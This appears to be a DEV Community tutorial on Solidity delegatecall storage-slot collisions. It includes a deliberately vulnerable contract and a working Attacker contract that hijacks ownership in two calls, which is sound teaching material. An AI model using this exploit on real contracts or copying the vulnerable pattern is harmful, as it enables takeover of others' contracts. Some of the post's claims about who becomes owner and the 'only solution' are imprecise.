DEV Community

Rushank Savant
Rushank Savant

Posted on

Delegate Call - Order of Variables

It's important that we keep in mind about how order of variables matter in contracts while using delegate call.

Let's understand this with the help of following example:

  • HackMe is a contract that delegate calls Lib contract to do something
  • note that variable order is not same in both of these contract
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.7.6;

contract HackMe {
    address lib;
    address public owner;
    uint someNumber;

    constructor(address _lib) {
        owner = msg.sender;
        lib = _lib;
    }

    function doStuff(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
    }
}

contract Lib {
    uint someNumber;

    function doStuff(uint _num) public {
        someNumber = _num;
    }
}
Enter fullscreen mode Exit fullscreen mode

The doStuff() function in HackMe delegate calls doStuff() function in Lib. And in Lib, this function changes the first variable of the first slot,
which is uint someNumber in Lib but address lib in HackMe. Since delegate call changes state of caller using the delegated contract's function, this will cause change in the address lib in HackMe (because that's the first variable in HackMe).

Let's now see how Attacker can take advantage of this:

  • Attacker will have same variable order as HackMe contract.
  • Attacker will have a doStuff() function with same signature, which will change the owner variable (2md variable).

Step - I

  • Attacker will call doStuff() function in HackMe passing it's own address in uint form (not possible after 0.8.0) as input.
  • This will change address lib value to the address of Attacker contract.

Step - II

  • Now Attacker will again call doStuff() function in HackMe with some random uint input, this time HackMe delegate calls the Attacker (because Step - I)
  • And doStuff() function in Attacker will change the owner variable to msg.sender(attacker address) in the HackMe. Hence high-jacking the HackMe contract.

See the following contract to understand better:

contract Attacker {
    address Lib;
    address public owner;
    uint someNumber;

    HackMe hackMe;

    constructor(address _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() external {
        hackMe.doStuff(uint(address(this)));  // -------- (I)
        hackMe.doStuff(1);  // -------- (II)
    }

    function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
        owner = msg.sender; // updates owner of HackMe 
    }
}
Enter fullscreen mode Exit fullscreen mode

The only solution to avoid such attack is the maintain the variable order in Lib, same as Hackme.

Discussion (0)